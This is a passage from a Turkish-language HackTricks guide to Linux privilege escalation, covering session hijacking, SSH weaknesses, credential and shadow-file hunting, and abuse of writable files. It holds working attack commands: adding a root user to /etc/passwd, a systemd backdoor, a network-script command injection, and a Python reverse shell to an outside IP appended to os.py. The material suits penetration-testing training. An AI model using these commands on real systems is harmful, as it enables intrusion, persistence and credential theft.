.png>)
|
||
|
||
**Oturuma bağlan**
|
||
```bash
|
||
screen -dr <session> #The -d is to detach whoever is attached to it
|
||
screen -dr 3350.foo #In the example of the image
|
||
screen -x [user]/[session id]
|
||
```
|
||
## tmux oturumlarını ele geçirme
|
||
|
||
Bu, **eski tmux sürümleri** ile ilgili bir problemdi. root tarafından oluşturulan tmux (v2.1) oturumunu ayrıcalıksız bir kullanıcı olarak ele geçiremedim.
|
||
|
||
**tmux oturumlarını listele**
|
||
```bash
|
||
tmux ls
|
||
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
|
||
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
|
||
```
|
||
.png>)
|
||
|
||
**Bir session'a bağlan**
|
||
```bash
|
||
tmux attach -t myname #If you write something in this session it will appears in the other opened one
|
||
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
|
||
|
||
ls -la /tmp/dev_sess #Check who can access it
|
||
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
|
||
# If you are root or devs you can access it
|
||
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||
```
|
||
Check **Valentine box from HTB**'ı kontrol edin.
|
||
|
||
## SSH
|
||
|
||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||
|
||
All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\
|
||
Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olarak karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları şurada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||
|
||
### SSH Interesting configuration values
|
||
|
||
- **PasswordAuthentication:** Parola ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `no`.
|
||
- **PubkeyAuthentication:** Public key ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `yes`.
|
||
- **PermitEmptyPasswords**: Parola ile kimlik doğrulama izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`.
|
||
|
||
### PermitRootLogin
|
||
|
||
Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`. Olası değerler:
|
||
|
||
- `yes`: root parola ve private key ile giriş yapabilir
|
||
- `without-password` or `prohibit-password`: root sadece private key ile giriş yapabilir
|
||
- `forced-commands-only`: Root sadece private key kullanarak ve commands seçenekleri belirtilmişse giriş yapabilir
|
||
- `no` : hayır
|
||
|
||
### AuthorizedKeysFile
|
||
|
||
Kullanıcı kimlik doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi home dizini ile değiştirilecek token'lar içerebilir. **Mutlak yollar belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli yollar**. Örneğin:
|
||
```bash
|
||
AuthorizedKeysFile .ssh/authorized_keys access
|
||
```
|
||
Bu yapılandırma, eğer "**testusername**" kullanıcısının **private** key'i ile giriş yapmaya çalışırsanız, ssh'in key'inizin public key'ini `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindekilerle karşılaştıracağını belirtir.
|
||
|
||
### ForwardAgent/AllowAgentForwarding
|
||
|
||
SSH agent forwarding size sunucunuzda (without passphrases!) keys bırakmak yerine **use your local SSH keys instead of leaving keys** imkânı verir. Böylece ssh ile bir **host**'a **jump** yapabilir ve oradan **initial host**'unuzda bulunan **key**'i kullanarak başka bir **host**'a **jump** edebilirsiniz.
|
||
|
||
Bu seçeneği `$HOME/.ssh.config` içinde şu şekilde ayarlamanız gerekir:
|
||
```
|
||
Host example.com
|
||
ForwardAgent yes
|
||
```
|
||
Dikkat: Eğer `Host` `*` ise kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecektir (bu bir güvenlik sorunudur).
|
||
|
||
The file `/etc/ssh_config` can **geçersiz kılabilir** this **options** and allow or denied this configuration.\
|
||
The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (varsayılan: izin verilir).
|
||
|
||
If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**:
|
||
|
||
|
||
{{#ref}}
|
||
ssh-forward-agent-exploitation.md
|
||
{{#endref}}
|
||
|
||
## İlginç Dosyalar
|
||
|
||
### Profil dosyaları
|
||
|
||
The file `/etc/profile` and the files under `/etc/profile.d/` are **kullanıcı yeni bir shell başlattığında çalıştırılan script'lerdir**. Therefore, if you can **write or modify any of them you can escalate privileges**.
|
||
```bash
|
||
ls -l /etc/profile /etc/profile.d/
|
||
```
|
||
Herhangi tuhaf bir profile script bulunursa, onu **hassas bilgiler** için kontrol etmelisiniz.
|
||
|
||
### Passwd/Shadow Dosyaları
|
||
|
||
İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir adla bulunabilir veya bir yedeği olabilir. Bu yüzden **tümünü bulmanız** ve dosyaların içinde **hash** olup olmadığını görmek için **okuyup okuyamadığınızı kontrol etmeniz** önerilir:
|
||
```bash
|
||
#Passwd equivalent files
|
||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||
#Shadow equivalent files
|
||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||
```
|
||
Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyasında **password hashes** bulunabilir.
|
||
```bash
|
||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||
```
|
||
### Yazılabilir /etc/passwd
|
||
|
||
Önce, aşağıdaki komutlardan biriyle bir parola oluşturun.
|
||
```
|
||
openssl passwd -1 -salt hacker hacker
|
||
mkpasswd -m SHA-512 hacker
|
||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||
```
|
||
Ardından `hacker` kullanıcısını ekleyin ve oluşturulan şifreyi ekleyin.
|
||
```
|
||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||
```
|
||
Örneğin: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||
|
||
Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz
|
||
|
||
Alternatif olarak, parola olmadan bir sahte kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\
|
||
UYARI: bu, makinenin mevcut güvenliğini düşürebilir.
|
||
```
|
||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||
su - dummy
|
||
```
|
||
NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumlarında bulunur, ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır.
|
||
|
||
Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bir **servis yapılandırma dosyasına** yazabiliyor musunuz?
|
||
```bash
|
||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||
```
|
||
Örneğin, eğer makine bir **tomcat** server çalıştırıyor ve **Tomcat servis yapılandırma dosyasını /etc/systemd/ içinde değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz:
|
||
```
|
||
ExecStart=/path/to/backdoor
|
||
User=root
|
||
Group=root
|
||
```
|
||
Backdoor'unuz tomcat bir sonraki başlatıldığında çalıştırılacaktır.
|
||
|
||
### Klasörleri Kontrol Et
|
||
|
||
Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama deneyin)
|
||
```bash
|
||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||
```
|
||
### Garip Konum/Owned dosyalar
|
||
```bash
|
||
#root owned files in /home folders
|
||
find /home -user root 2>/dev/null
|
||
#Files owned by other users in folders owned by me
|
||
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
|
||
#Files owned by root, readable by me but not world readable
|
||
find / -type f -user root ! -perm -o=r 2>/dev/null
|
||
#Files owned by me or world writable
|
||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
|
||
#Writable files by each group I belong to
|
||
for g in `groups`;
|
||
do printf " Group $g:\n";
|
||
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
|
||
done
|
||
done
|
||
```
|
||
### Son birkaç dakikada değiştirilen dosyalar
|
||
```bash
|
||
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
|
||
```
|
||
### Sqlite DB dosyaları
|
||
```bash
|
||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||
```
|
||
### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml dosyalar
|
||
```bash
|
||
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
|
||
```
|
||
### Gizli dosyalar
|
||
```bash
|
||
find / -type f -iname ".*" -ls 2>/dev/null
|
||
```
|
||
### **PATH'teki Script/Binaries**
|
||
```bash
|
||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
|
||
```
|
||
### **Web dosyaları**
|
||
```bash
|
||
ls -alhR /var/www/ 2>/dev/null
|
||
ls -alhR /srv/www/htdocs/ 2>/dev/null
|
||
ls -alhR /usr/local/www/apache22/data/
|
||
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
|
||
```
|
||
### **Yedeklemeler**
|
||
```bash
|
||
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
|
||
```
|
||
### Parola içerebilecek bilinen dosyalar
|
||
|
||
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)'in kodunu inceleyin; **parola içerebilecek birkaç muhtemel dosya** arar.\
|
||
**Kullanabileceğiniz başka ilginç bir araç** şudur: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bir bilgisayarda saklanan birçok parolayı almak amacıyla kullanılan açık kaynaklı bir uygulamadır.
|
||
|
||
### Loglar
|
||
|
||
Logları okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, muhtemelen o kadar ilginç olur.\
|
||
Ayrıca, bazı "**kötü**" yapılandırılmış (backdoored?) **audit logs**, audit loglara parolaları **kaydetmenize** olanak tanıyabilir; bunun nasıl yapıldığını bu yazıda görebilirsiniz: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||
```bash
|
||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||
```
|
||
Günlükleri **okumak için grup** [**adm**](interesting-groups-linux-pe/index.html#adm-group) çok yardımcı olacaktır.
|
||
|
||
### Shell dosyaları
|
||
```bash
|
||
~/.bash_profile # if it exists, read it once when you log in to the shell
|
||
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
|
||
~/.profile # if it exists, read once if the two above don't exist
|
||
/etc/profile # only read if none of the above exists
|
||
~/.bashrc # if it exists, read it every time you start a new shell
|
||
~/.bash_logout # if it exists, read when the login shell exits
|
||
~/.zlogin #zsh shell
|
||
~/.zshrc #zsh shell
|
||
```
|
||
### Generic Creds Search/Regex
|
||
|
||
Ayrıca dosya adında veya içeriğinde "**password**" kelimesini içeren dosyaları kontrol etmelisiniz, ve ayrıca loglar içinde IPs ve emails veya hashes regexps arayın.\
|
||
Burada tüm bunların nasıl yapılacağını listelemeyeceğim; ilgileniyorsanız [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri inceleyebilirsiniz.
|
||
|
||
## Yazılabilir dosyalar
|
||
|
||
### Python library hijacking
|
||
|
||
Eğer bir python scriptinin nereden çalıştırılacağını biliyorsanız ve o klasöre yazabiliyorsanız ya da python libraries üzerinde değişiklik yapabiliyorsanız, OS library'yi değiştirip backdoorlayabilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın).
|
||
|
||
To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT):
|
||
```python
|
||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||
```
|
||
### Logrotate istismarı
|
||
|
||
A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
|
||
|
||
> [!TIP]
|
||
> Bu zafiyet `logrotate` sürüm `3.18.0` ve önceki sürümleri etkiler
|
||
|
||
More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
|
||
|
||
You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten).
|
||
|
||
This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
|
||
|
||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||
|
||
**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||
|
||
Herhangi bir nedenle bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine `ifcf-<whatever>` adlı bir script **yazabiliyor** ya da mevcut bir scripti **düzenleyebiliyorsa**, sisteminiz **pwned** olur.
|
||
|
||
Network scriptleri, _ifcg-eth0_ örneğin, ağ bağlantıları için kullanılır. Tam olarak .INI dosyalarına benzerler. Ancak Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler.
|
||
|
||
Benim durumumda, bu network scriptlerinde `NAME=` özniteliği doğru işlenmiyor. Eğer isimde **boşluk varsa sistem boşluktan sonraki kısmı çalıştırmaya çalışıyor**. Bu, **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı** anlamına geliyor.
|
||
|
||
Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||
```bash
|
||
NAME=Network /bin/id
|
||
ONBOOT=yes
|
||
DEVICE=eth0
|
||
```
|
||
(_Network ile /bin/id arasındaki boşluğa dikkat edin_)
|
||
|
||
### **init, init.d, systemd, ve rc.d**
|
||
|
||
The directory `/etc/init.d` is home to **betikler** for System V init (SysVinit), the **klasik Linux servis yönetim sistemi**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`.
|
||
|
||
On the other hand, `/etc/init` is associated with **Upstart**, a newer **servis yönetimi** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart.
|
||
|
||
**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process.
|
||
|
||
## Diğer Taktikler
|
||
|
||
### NFS Privilege escalation
|
||
|
||
|
||
{{#ref}}
|
||
nfs-no_root_squash-misconfiguration-pe.md
|
||
{{#endref}}
|
||
|
||
### Escaping from restricted Shells
|
||
|
||
|
||
{{#ref}}
|
||
escaping-from-limited-bash.md
|
||
{{#endref}}
|
||
|
||
### Cisco - vmanage
|
||
|
||
|
||
{{#ref}}
|
||
cisco-vmanage.md
|
||
{{#endref}}
|
||
|
||
## Android rooting frameworks: manager-channel abuse
|
||
|
||
Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Daha fazla bilgi ve istismar detayları için:
|
||
|
||
|
||
{{#ref}}
|
||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||
{{#endref}}
|
||
|
||
## Çekirdek Güvenlik Koruması
|
||
|
||
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
|
||
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
|
||
|
||
## Daha fazla yardım
|
||
|
||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||
|
||
## Linux/Unix Privesc Tools
|
||
|
||
### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||
|
||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
|
||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||
**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||
|
||
## Referanslar
|
||
|
||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
|
||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
|
||
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
|
||
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
|
||
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)
|
||
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
|
||
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
|
||
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
|
||
- [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
|
||
- [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
|
||
- [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
|
||
- [https://www.linuxjournal.com/article/7744](https://www.linuxjournal.com/article/7744)
|
||
- [https://blog.certcube.com/suid-executables-linux-privilege-escalation/](https://blog.certcube.com/suid-executables-linux-privilege-escalation/)
|
||
- [https://juggernaut-sec.com/sudo-part-2-lpe](https://juggernaut-sec.com/sudo-part-2-lpe)
|
||
- [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
|
||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||
- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||
- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|